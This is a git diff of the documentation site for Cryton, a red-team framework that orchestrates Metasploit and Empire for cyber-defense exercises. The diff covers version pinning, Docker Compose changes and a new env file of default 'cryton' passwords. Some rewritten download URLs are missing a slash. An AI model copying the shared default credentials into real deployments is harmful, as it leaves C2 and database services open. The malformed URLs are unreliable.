diff --git a/public/master/components/cli/index.html b/public/master/components/cli/index.html index dfb4661658450ef2e3991ae076859df5e56f4728..681300651c9678031bd04436323f34193d52d9da 100644 --- a/public/master/components/cli/index.html +++ b/public/master/components/cli/index.html @@ -1516,11 +1516,11 @@ However, we <strong>highly recommend</strong> installing the app in an isolated <div class="tabbed-set tabbed-alternate" data-tabs="2:2"><input checked="checked" id="__tabbed_2_1" name="__tabbed_2" type="radio" /><input id="__tabbed_2_2" name="__tabbed_2" type="radio" /><div class="tabbed-labels"><label for="__tabbed_2_1">pipx</label><label for="__tabbed_2_2">pip</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-cli +<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-cli<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-cli +<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-cli<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> </div> diff --git a/public/master/components/core/index.html b/public/master/components/core/index.html index 5ea25d229a1d7ddc5f73741223847f54aedb6d17..c65cda9fa6804164b0e0a7fe870da24d93cc536d 100644 --- a/public/master/components/core/index.html +++ b/public/master/components/core/index.html @@ -2069,6 +2069,7 @@ This affects the speed of starting/consuming Steps/Rabbit requests.</p> <p class="admonition-title">Requirements</p> <ul> <li><a href="https://docs.docker.com/compose/install/" target="_blank">Docker Compose</a></li> +<li>Create <a href="#settings-permanent">permanent settings</a></li> </ul> </div> <div class="admonition tip"> @@ -2077,7 +2078,7 @@ This affects the speed of starting/consuming Steps/Rabbit requests.</p> <li>Docker <a href="https://docs.docker.com/engine/install/linux-postinstall/" target="_blank">Post-installation steps</a></li> </ul> </div> -<p>First, you have to create <a href="#settings-permanent">permanent settings</a>. Then, switch to the app directory: +<p>Switch to the app directory: <div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>~/.local/cryton-core/ </code></pre></div></p> <p>Download the Compose configuration:</p> @@ -2181,11 +2182,11 @@ However, we <strong>highly recommend</strong> installing the app in an isolated <div class="tabbed-set tabbed-alternate" data-tabs="4:2"><input checked="checked" id="__tabbed_4_1" name="__tabbed_4" type="radio" /><input id="__tabbed_4_2" name="__tabbed_4" type="radio" /><div class="tabbed-labels"><label for="__tabbed_4_1">pipx</label><label for="__tabbed_4_2">pip</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-core +<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-core<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-core +<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-core<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> </div> diff --git a/public/master/components/modules/index.html b/public/master/components/modules/index.html index cbeb786c55384656c7e826f29dc56bf68a0c69ea..1de7f8a4945190c26f581ab3ce7ab43f0986e10f 100644 --- a/public/master/components/modules/index.html +++ b/public/master/components/modules/index.html @@ -1186,7 +1186,7 @@ If the Worker is deployed on a fully-fledged Kali OS, the need to install the sy git<span class="w"> </span>checkout<span class="w"> </span>stable/2023.1 </code></pre></div></p> <p>Make sure the Worker's app directory exists and copy the modules into it: -<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>-p<span class="w"> </span> +<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>-p<span class="w"> </span>~/.local/cryton-worker/ cp<span class="w"> </span>-r<span class="w"> </span>modules<span class="w"> </span>~/.local/cryton-worker/ </code></pre></div></p> <h3 id="manually">Manually<a class="headerlink" href="#manually" title="Permanent link">¶</a></h3> diff --git a/public/master/components/worker/index.html b/public/master/components/worker/index.html index d9993136ba277021788d6b6d5b2d70d0d201896e..d5d96a5f85314f40f3a076f814fa286bb390aaee 100644 --- a/public/master/components/worker/index.html +++ b/public/master/components/worker/index.html @@ -2006,7 +2006,6 @@ <li>Create <a href="#settings-permanent">permanent settings</a></li> <li>Update the following settings:<ol> <li>CRYTON_WORKER_MODULES_DIR=/absolute/path/to/modules/</li> -<li>CRYTON_WORKER_EMPIRE_HOST=cryton-empire</li> </ol> </li> </ul> @@ -2023,8 +2022,13 @@ </code></pre></div></p> <p>Install the <a href="../modules/#installation">modules</a> into the app directory and export the path: <div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">CRYTON_WORKER_MODULES_DIR</span><span class="o">=</span>~/.local/cryton-worker/modules/ -</code></pre></div> -If you're using persistent settings, make sure that they match.</p> +</code></pre></div></p> +<div class="admonition warning"> +<p class="admonition-title">Make sure that the persistent settings match</p> +<p>Check the real value of the variable using: +<div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>CRYTON_WORKER_MODULES_DIR +</code></pre></div></p> +</div> <p>Download the configuration using:</p> <div class="tabbed-set tabbed-alternate" data-tabs="2:2"><input checked="checked" id="__tabbed_2_1" name="__tabbed_2" type="radio" /><input id="__tabbed_2_2" name="__tabbed_2" type="radio" /><div class="tabbed-labels"><label for="__tabbed_2_1">curl</label><label for="__tabbed_2_2">wget</label></div> <div class="tabbed-content"> @@ -2072,17 +2076,22 @@ However, we <strong>highly recommend</strong> installing the app in an isolated </div> <p>Install the <a href="../modules/#installation">modules</a> into the app directory and export the path: <div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">CRYTON_WORKER_MODULES_DIR</span><span class="o">=</span>~/.local/cryton-worker/modules/ -</code></pre></div> -If you're using persistent settings, make sure that they match.</p> +</code></pre></div></p> +<div class="admonition warning"> +<p class="admonition-title">Make sure that the persistent settings match</p> +<p>Check the real value of the variable using: +<div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>CRYTON_WORKER_MODULES_DIR +</code></pre></div></p> +</div> <p>Install the app:</p> <div class="tabbed-set tabbed-alternate" data-tabs="3:2"><input checked="checked" id="__tabbed_3_1" name="__tabbed_3" type="radio" /><input id="__tabbed_3_2" name="__tabbed_3" type="radio" /><div class="tabbed-labels"><label for="__tabbed_3_1">pipx</label><label for="__tabbed_3_2">pip</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-worker +<div class="highlight"><pre><span></span><code>pipx<span class="w"> </span>install<span class="w"> </span>cryton-worker<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-worker +<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>cryton-worker<span class="o">==</span><span class="m">2023</span>.1 </code></pre></div> </div> </div> @@ -2105,15 +2114,20 @@ If you're using persistent settings, make sure that they match.</p> </div> <p>Install the <a href="../modules/#installation">modules</a> into the app directory and export the path: <div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">CRYTON_WORKER_MODULES_DIR</span><span class="o">=</span>~/.local/cryton-worker/modules/ -</code></pre></div> -If you're using persistent settings, make sure that they match.</p> +</code></pre></div></p> +<div class="admonition warning"> +<p class="admonition-title">Make sure that the persistent settings match</p> +<p>Check the real value of the variable using: +<div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>CRYTON_WORKER_MODULES_DIR +</code></pre></div></p> +</div> <p>Run the container:</p> <div class="tabbed-set tabbed-alternate" data-tabs="4:2"><input checked="checked" id="__tabbed_4_1" name="__tabbed_4" type="radio" /><input id="__tabbed_4_2" name="__tabbed_4" type="radio" /><div class="tabbed-labels"><label for="__tabbed_4_1">bare version</label><label for="__tabbed_4_2">kali version</label></div> <div class="tabbed-content"> <div class="tabbed-block"> <p>The bare image <strong>doesn't</strong> take care of the modules' system requirements. It should be used on a Kali OS.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. -<div class="highlight"><pre><span></span><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:2023.1 +<div class="highlight"><pre><span></span><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} -d registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:2023.1 </code></pre></div></p> <div class="admonition warning"> <p class="admonition-title">Limitations</p> @@ -2126,7 +2140,7 @@ If you're using persistent settings, make sure that they match.</p> <div class="tabbed-block"> <p>The kali image takes care of the modules' system requirements and also hosts the Metasploit Framework. However, the drawback is its large size.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. -<div class="highlight"><pre><span></span><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1 +<div class="highlight"><pre><span></span><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} -d registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1 </code></pre></div></p> <div class="admonition warning"> <p class="admonition-title">Limitations</p> diff --git a/public/master/dynamic-execution/index.html b/public/master/dynamic-execution/index.html index fc0b73c0ab5db594fa0bf97f8f5d2fb7e9b65abb..7efb46495f791262674ddeecb3a94d015e86c212 100644 --- a/public/master/dynamic-execution/index.html +++ b/public/master/dynamic-execution/index.html @@ -1227,11 +1227,11 @@ create an empty Plan/Stage and create their agent to control the execution inste <div class="tabbed-set tabbed-alternate" data-tabs="1:2"><input checked="checked" id="__tabbed_1_1" name="__tabbed_1" type="radio" /><input id="__tabbed_1_2" name="__tabbed_1" type="radio" /><div class="tabbed-labels"><label for="__tabbed_1_1">curl</label><label for="__tabbed_1_2">wget</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-O<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/dynamic_example.py +<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-O<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/masterdynamic_example.py </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/dynamic_example.py +<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/masterdynamic_example.py </code></pre></div> </div> </div> diff --git a/public/master/getting-started/docker-compose.yml b/public/master/getting-started/docker-compose.yml index 062e170f5b3408f75a6f50d9580cc1c719e45500..5e984355df477b97ea2b400be81a14c3b3706935 100644 --- a/public/master/getting-started/docker-compose.yml +++ b/public/master/getting-started/docker-compose.yml @@ -5,7 +5,7 @@ services: image: registry.gitlab.ics.muni.cz:443/cryton/cryton-core:{{{ release_version }}} container_name: cryton-core ports: - - "8000:80" + - "127.0.0.1:8000:80" env_file: - .env depends_on: @@ -50,8 +50,7 @@ services: restart: always image: bcsecurity/empire:v4.10.0 container_name: cryton-empire - expose: - - "1337" + network_mode: host env_file: - .env stdin_open: true diff --git a/public/master/getting-started/env b/public/master/getting-started/env new file mode 100644 index 0000000000000000000000000000000000000000..d0bd0a8846839ff2939c63fc8edab9490680a68c --- /dev/null +++ b/public/master/getting-started/env @@ -0,0 +1,24 @@ +CRYTON_CORE_RABBIT_HOST=cryton-rabbit +CRYTON_CORE_RABBIT_PORT=5672 +CRYTON_CORE_RABBIT_USERNAME=cryton +CRYTON_CORE_RABBIT_PASSWORD=cryton +CRYTON_CORE_DB_HOST=cryton-pgbouncer +CRYTON_CORE_DB_PORT=5432 +CRYTON_CORE_DB_NAME=cryton +CRYTON_CORE_DB_USERNAME=cryton +CRYTON_CORE_DB_PASSWORD=cryton +CRYTON_CORE_API_SECRET_KEY=cryton +CRYTON_CORE_API_USE_STATIC_FILES=true + +CRYTON_WORKER_NAME=local_worker +CRYTON_WORKER_MODULES_DIR=/opt/modules/ +CRYTON_WORKER_MSFRPCD_PORT=55553 +CRYTON_WORKER_MSFRPCD_SSL=true +CRYTON_WORKER_MSFRPCD_USERNAME=cryton +CRYTON_WORKER_MSFRPCD_PASSWORD=cryton +CRYTON_WORKER_RABBIT_USERNAME=cryton +CRYTON_WORKER_RABBIT_PASSWORD=cryton +CRYTON_WORKER_EMPIRE_USERNAME=cryton +CRYTON_WORKER_EMPIRE_PASSWORD=cryton + +CRYTON_CLI_API_PORT=80 diff --git a/public/master/getting-started/quick-start/index.html b/public/master/getting-started/quick-start/index.html index 336293154fb395757c009b437dae62fcb973747e..65fc612f2fae840810f9f7f409eaa152c32d051e 100644 --- a/public/master/getting-started/quick-start/index.html +++ b/public/master/getting-started/quick-start/index.html @@ -1131,11 +1131,11 @@ <div class="tabbed-set tabbed-alternate" data-tabs="1:2"><input checked="checked" id="__tabbed_1_1" name="__tabbed_1" type="radio" /><input id="__tabbed_1_2" name="__tabbed_1" type="radio" /><div class="tabbed-labels"><label for="__tabbed_1_1">curl</label><label for="__tabbed_1_2">wget</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-O<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/.env +<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-o<span class="w"> </span>.env<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/env </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/.env +<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>-O<span class="w"> </span>.env<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/env </code></pre></div> </div> </div> @@ -1156,15 +1156,12 @@ <span class="na">CRYTON_WORKER_NAME</span><span class="o">=</span><span class="s">local_worker</span> <span class="na">CRYTON_WORKER_MODULES_DIR</span><span class="o">=</span><span class="s">/opt/modules/</span> -<span class="na">CRYTON_WORKER_MSFRPCD_HOST</span><span class="o">=</span><span class="s">127.0.0.1</span> <span class="na">CRYTON_WORKER_MSFRPCD_PORT</span><span class="o">=</span><span class="s">55553</span> <span class="na">CRYTON_WORKER_MSFRPCD_SSL</span><span class="o">=</span><span class="s">true</span> <span class="na">CRYTON_WORKER_MSFRPCD_USERNAME</span><span class="o">=</span><span class="s">cryton</span> <span class="na">CRYTON_WORKER_MSFRPCD_PASSWORD</span><span class="o">=</span><span class="s">cryton</span> -<span class="na">CRYTON_WORKER_RABBIT_HOST</span><span class="o">=</span><span class="s">cryton-rabbit</span> <span class="na">CRYTON_WORKER_RABBIT_USERNAME</span><span class="o">=</span><span class="s">cryton</span> <span class="na">CRYTON_WORKER_RABBIT_PASSWORD</span><span class="o">=</span><span class="s">cryton</span> -<span class="na">CRYTON_WORKER_EMPIRE_HOST</span><span class="o">=</span><span class="s">cryton-empire</span> <span class="na">CRYTON_WORKER_EMPIRE_USERNAME</span><span class="o">=</span><span class="s">cryton</span> <span class="na">CRYTON_WORKER_EMPIRE_PASSWORD</span><span class="o">=</span><span class="s">cryton</span> @@ -1175,11 +1172,11 @@ <div class="tabbed-set tabbed-alternate" data-tabs="2:2"><input checked="checked" id="__tabbed_2_1" name="__tabbed_2" type="radio" /><input id="__tabbed_2_2" name="__tabbed_2" type="radio" /><div class="tabbed-labels"><label for="__tabbed_2_1">curl</label><label for="__tabbed_2_2">wget</label></div> <div class="tabbed-content"> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-O<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/docker-compose.yml +<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-O<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/docker-compose.yml </code></pre></div> </div> <div class="tabbed-block"> -<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/docker-compose.yml +<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/docker-compose.yml </code></pre></div> </div> </div> @@ -1193,7 +1190,7 @@ <span class="w"> </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1</span> <span class="w"> </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cryton-core</span> <span class="w"> </span><span class="nt">ports</span><span class="p">:</span> -<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">"8000:80"</span> +<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">"127.0.0.1:8000:80"</span> <span class="w"> </span><span class="nt">env_file</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.env</span> <span class="w"> </span><span class="nt">depends_on</span><span class="p">:</span> @@ -1238,8 +1235,7 @@ <span class="w"> </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">always</span> <span class="w"> </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">bcsecurity/empire:v4.10.0</span> <span class="w"> </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cryton-empire</span> -<span class="w"> </span><span class="nt">expose</span><span class="p">:</span> -<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">"1337"</span> +<span class="w"> </span><span class="nt">network_mode</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">host</span> <span class="w"> </span><span class="nt">env_file</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.env</span> <span class="w"> </span><span class="nt">stdin_open</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> diff --git a/public/master/integrated-tools/empire/index.html b/public/master/integrated-tools/empire/index.html index bf29c6beae2630ee7cdf8254e7fb25588f7b4e68..4587b25a3b6b66f135cd06af1d5b26f220fe3ddc 100644 --- a/public/master/integrated-tools/empire/index.html +++ b/public/master/integrated-tools/empire/index.html @@ -1261,7 +1261,7 @@ <h2 id="requirements-for-usage-with-core">requirements for usage with Core:<a class="headerlink" href="#requirements-for-usage-with-core" title="Permanent link">¶</a></h2> <ul> -<li>Installed and running Empire server with version 4.1.0 and above. Installation guide +<li>Installed and running Empire server with version <strong>4.x.x</strong>. Installation guide <a href="https://bc-security.gitbook.io/empire-wiki/quickstart/installation" target="_blank">here</a></li> <li>Installed all main Cryton components, that is <a href="../../components/core/">Core</a>, <a href="../../components/worker/">Worker</a> and <a href="../../components/cli/">Cli</a></li> diff --git a/public/master/production/index.html b/public/master/production/index.html index 18d4f4019917cd78abe5b2b9b394574bc31cc38f..1fd18ce1eb5b3da674abfe7c0d140befe10d33c6 100644 --- a/public/master/production/index.html +++ b/public/master/production/index.html @@ -1167,7 +1167,7 @@ <p>Hide the rest API behind a proxy with restricted access.</p> <div class="admonition tip"> <p class="admonition-title">Tip</p> -<p>Use the officially supplied docker-compose.yml and add a .htaccess file to it.</p> +<p>Use the officially supplied docker-compose.yml.</p> </div> <h2 id="worker">Worker<a class="headerlink" href="#worker" title="Permanent link">¶</a></h2> <h3 id="settings_1">Settings<a class="headerlink" href="#settings_1" title="Permanent link">¶</a></h3> diff --git a/public/master/search/search_index.json b/public/master/search/search_index.json index 9435337f0759a467d94238f3fe03228c83b4ff4e..ef142612bb22e8cd16bb7b10b2689b66bcee1753 100644 --- a/public/master/search/search_index.json +++ b/public/master/search/search_index.json @@ -1 +1 @@ -{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"]},"docs":[{"location":"","title":"Introduction","text":"<p>Cryton toolset is a Cron-like red team framework for complex attack scenarios automation and scheduling. Through the usage of Core, Worker, and attack modules it provides ways to plan, execute and evaluate multistep attacks.</p> Are there any other usages? <ul> <li>Breach & attack emulation</li> <li>Automation of penetration testing and infrastructure scanning</li> <li>Scheduler or executor across multiple environments</li> </ul> <p>No time to read?</p> <p>Check out the quick-start guide.</p> <p>The lifecycle of the attack scenario in the Cryton context can be seen in the following picture: </p> <p>All of its open-source components can be found here.</p>"},{"location":"#purpose","title":"Purpose","text":"<p>The main purpose of the Cryton is to execute complex attack scenarios, in which the system under test is known in advance. It was designed as such to assist red teams in cybersecurity exercises in means of repeatability of certain attack scenarios. These scenarios are often prepared in advance and reflect vulnerabilities hidden in the blue team's infrastructure.</p> <p>Imagine you are taking part in a cyber defense exercise as a tutor. The task for your trainees is to defend a system or a whole infrastructure (which you prepared) against an attacker. This system is full of vulnerabilities and misconfigurations (which you prepared as well). Your trainees have e.g. one hour to fix as many of these issues as they can find. Imagine then that you have to check each system for all the fixes to see how your trainees managed to succeed. How would you do that effectively?</p> <p>This is where Cryton comes to play. If you know all the vulnerabilities in the trainees' system - and you do - you can prepare an attack scenario to check if they are still available and working after the fix. Cryton will execute the plan against all targets you tell it to and then generate reports (human and machine-readable). You can then not only see, which attack steps did succeed on which system, but also score your trainees based on these results.</p> <p>With this in mind, you should not expect Cryton to be some kind of evil artificial intelligence capable of taking over the world. It is simply a scheduler for python modules. The scheduler executes these modules according to some execution tree with conditions based on each step of the scenario. Each module is a script orchestrating some well-known attack tools, but that is it.</p>"},{"location":"#support","title":"Support","text":"<p>Cryton toolset is tested and targeted primarily on Debian and Kali Linux. However, it should be possible to use it everywhere if the requirements are met. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <p>The Docker images should render the support limitations irrelevant.</p>"},{"location":"acknowledgements/","title":"Acknowledgements","text":"<p>Several research activities helped us to create this open-source project. The official acknowledgments follow below.</p> This research was supported by the Security Research Programme of the Czech Republic 2015-2022 (BV III/1 - VS) granted by the Ministry of the Interior of the Czech Republic under No. VI20202022133 - Breach Emulation and Attack Simulation Toolkit (BEAST) This research was supported by the Security Research Programme of the Czech Republic 2015\u20132020 (BV III/1 \u2013 VS) granted by the Ministry of the Interior of the Czech Republic under No. VI20162019014 \u2013 Simulation, detection, and mitigation of cyber threats endangering critical infrastructure."},{"location":"architecture/","title":"Architecture","text":""},{"location":"architecture/#core","title":"Core","text":"<p>The main functionality is implemented in Cryton Core. As the name suggests, this is the core component of the Cryton toolset. It gives you the ability to create and control attack plans, generate reports, and control Workers.</p> <p>To issue commands use the provided REST API.</p>"},{"location":"architecture/#cli-and-frontend","title":"CLI and Frontend","text":"<p>There are two ways to interact with Cryton or, more precisely, utilize its REST API.</p> <p>One of them is Cryton CLI, which allows a simple way to run (automate) actions from the terminal.</p> <p>A slightly more user-friendly is Cryton Frontend, a graphical web interface providing additional functionality to improve the user experience.</p> <p>There is also the option to develop a custom application that will send requests to Core's REST API. </p>"},{"location":"architecture/#worker","title":"Worker","text":"<p>Cryton Worker is a component for executing attack modules remotely. It utilizes RabbitMQ as its asynchronous remote procedures call protocol. It connects to the RabbitMQ server and consumes messages from the Core component or any other app that implements its Rabbit API.</p>"},{"location":"architecture/#modules","title":"Modules","text":"<p>Cryton modules is a collection of scripts that allow the orchestration of some known offensive security tools such as Metasploit. For example, we can have the Nmap module that implements the scanning capabilities of the Nmap tool, serializes the evidence, and evaluates its results. </p> <p>You can develop modules according to your needs.</p>"},{"location":"architecture/#do-i-need-to-have-all-components-installed","title":"Do I need to have all components installed?","text":"<p>Depending on your use case, the composition of Cryton may vary. For example, installing the Frontend is unnecessary if you wish to control Cryton using only the CLI. However, for most use cases, you will install the main components (CLI, Core, Worker, and modules).</p>"},{"location":"architecture/#technological-decisions","title":"Technological decisions","text":"<p>The next section tries to explain the choices for currently employed technologies. Please take into account that these technologies are not supposed to be final and unchangeable. They just appeared to be best suited for the task at the time of development, they may change in the future.</p>"},{"location":"architecture/#apscheduler","title":"APScheduler","text":"<p>This was the first choice made for the scheduler module. It allows you to schedule a Python method on a specific time or day or even interval. It is pretty lightweight and does not need much in terms of resources or capacity. So far we have not found anything better suited for the task.</p>"},{"location":"architecture/#django-orm","title":"Django ORM","text":"<p>In the beginning, Cryton used the SQLite database with direct access. That changed as SQLite is not good with scaling for the future. The second choice was PostgreSQL, which stayed to this day, but it was updated with the use of the Django ORM. Using the Django REST framework for the REST interface also emerged from this choice.</p>"},{"location":"architecture/#rabbit-mq","title":"Rabbit MQ","text":"<p>For developing Master-Worker architecture, where you can issue commands remotely, we needed some kind of RPC. Although, as experience showed us, we also needed it to be asynchronous. That's why we chose a messaging broker RabbitMQ.</p>"},{"location":"architecture/#metasploit","title":"Metasploit","text":"<p>I guess everyone in the IT security field has heard about the Metasploit framework. It is one of the most complete and usable open-source attack tools available. Of course, Cryton uses it for some attack modules - the majority of simulated attacks in CDXs usually do use Metasploit in some way. But its attacking capabilities are not the only reason to use it. Its real advantage is Metasploit's session management. Every time you open a session to some machine it stores it under a specific ID which you can later use to communicate with the target. This is one of the main features you can use while executing your attack scenario in Cryton.</p>"},{"location":"architecture/#empire","title":"Empire","text":"<p>For post-exploitation attacks, we decided to add support for an open-source project called Empire. Empire is a post-exploitation framework that includes pure-PowerShell Windows agents, Python 3 Linux/OS X agents, and C# agents. The framework offers cryptological-secure communications and flexible architecture. This is done via asynchronous communication between our Worker component and an Empire c2 server.</p>"},{"location":"architecture/#docker-compose","title":"Docker (compose)","text":"<p>To bundle everything together and make the deployment effortless, we use Docker or Docker Compose configurations.</p>"},{"location":"contribution-guide/","title":"How to contribute","text":""},{"location":"contribution-guide/#fixing-and-reporting-bugs","title":"Fixing and reporting bugs","text":"<p>Any identified bugs should be posted as an issue in the respective gitlab repository. Please, include as much detail as possible for the developers, to be able to reproduce the erroneous behavior.</p> <p>Before you create an issue, make sure it doesn't exist yet.</p> <p>If the issue exists in the official Gitlab repository, please mention it in your issue.</p>"},{"location":"contribution-guide/#contributing-code","title":"Contributing code","text":"<p>To support project development check out the development instructions:</p> <ul> <li>Core</li> <li>Worker</li> <li>Modules</li> <li>CLI</li> <li>Frontend</li> </ul>"},{"location":"contribution-guide/#contribution-guidelines","title":"Contribution guidelines","text":""},{"location":"contribution-guide/#merge-requests","title":"Merge requests","text":"<ul> <li> <p>Every merge request will be named as a summary of changes or as its issue counterpart. For example <code>Bugfix \"StageExecution won't schedule due to ...\"</code>, <code>Feature \"TicketName\"</code>, <code>Enhancement \"TicketName\"</code>, <code>Resolve \"MyIssue\"</code>.</p> </li> <li> <p>The merge request's description will contain a list of changes for an easier update of other components or changelog when creating a new release. If there are some breaking changes, that will render the other components useless, please describe them in detail, or even better add an example.</p> </li> <li> <p>If the merge request is changing functionality in a way that affects other components, you have to create tickets (ticket name example: <code>Update for \"MainTicketName\"</code>) for those projects and mark them as blocking for the main MR. Related merge requests should be merged at the same time (this doesn't apply to the front-end ATM).</p> </li> <li> <p>Before opening a merge request for the Core, Worker, or CLI projects you should run end-to-end tests, which have been updated for the changes the merge request will do.</p> </li> </ul>"},{"location":"contribution-guide/#tests","title":"Tests","text":"<p>This guide simplifies and pinpoints the most important points.</p> <p>For in-app testing, we are using unit/integration tests written using the Pytest library.</p> <p>Unit tests are meant to test a specific method/function in an isolated environment (using mocking) while the integration tests check if a unit (method/function) can run even without being isolated. End-to-end tests are testing if all the functionality works across the whole Cryton toolset.</p> <ul> <li>Settings for Pytest can be found in a pyproject.toml file</li> <li>Tests (that test the same code part/class) are grouped using classes</li> <li>Each class that works with the Django DB has to be marked with <code>@pytest.mark.django_db</code></li> <li>Each class should be patched to use the test logger if possible (Core; worker)</li> <li>Unit tests shouldn't interact with the DB. </li> <li>Use the <code>model_bakery</code> library instead of mocking the DB interactions for the integration tests</li> <li>For easier mocking, each test class should have a <code>path</code> class variable. If we are testing a class in <code>path/to/module.py</code>, then the path variable will be <code>path = \"path.to.module\"</code>. To mock we simply use <code>mocker.patch(self.path + \".<method_to_mock>\")</code>.</li> <li>We are using the mocker library instead of the unittest.mock.Mock.</li> <li>Each test method starts with the <code>test_</code> prefix.</li> <li>Each fixture method starts with the <code>f_</code> prefix.</li> <li>When using parametrize, the created parameters must have the <code>p_</code> prefix.</li> </ul> 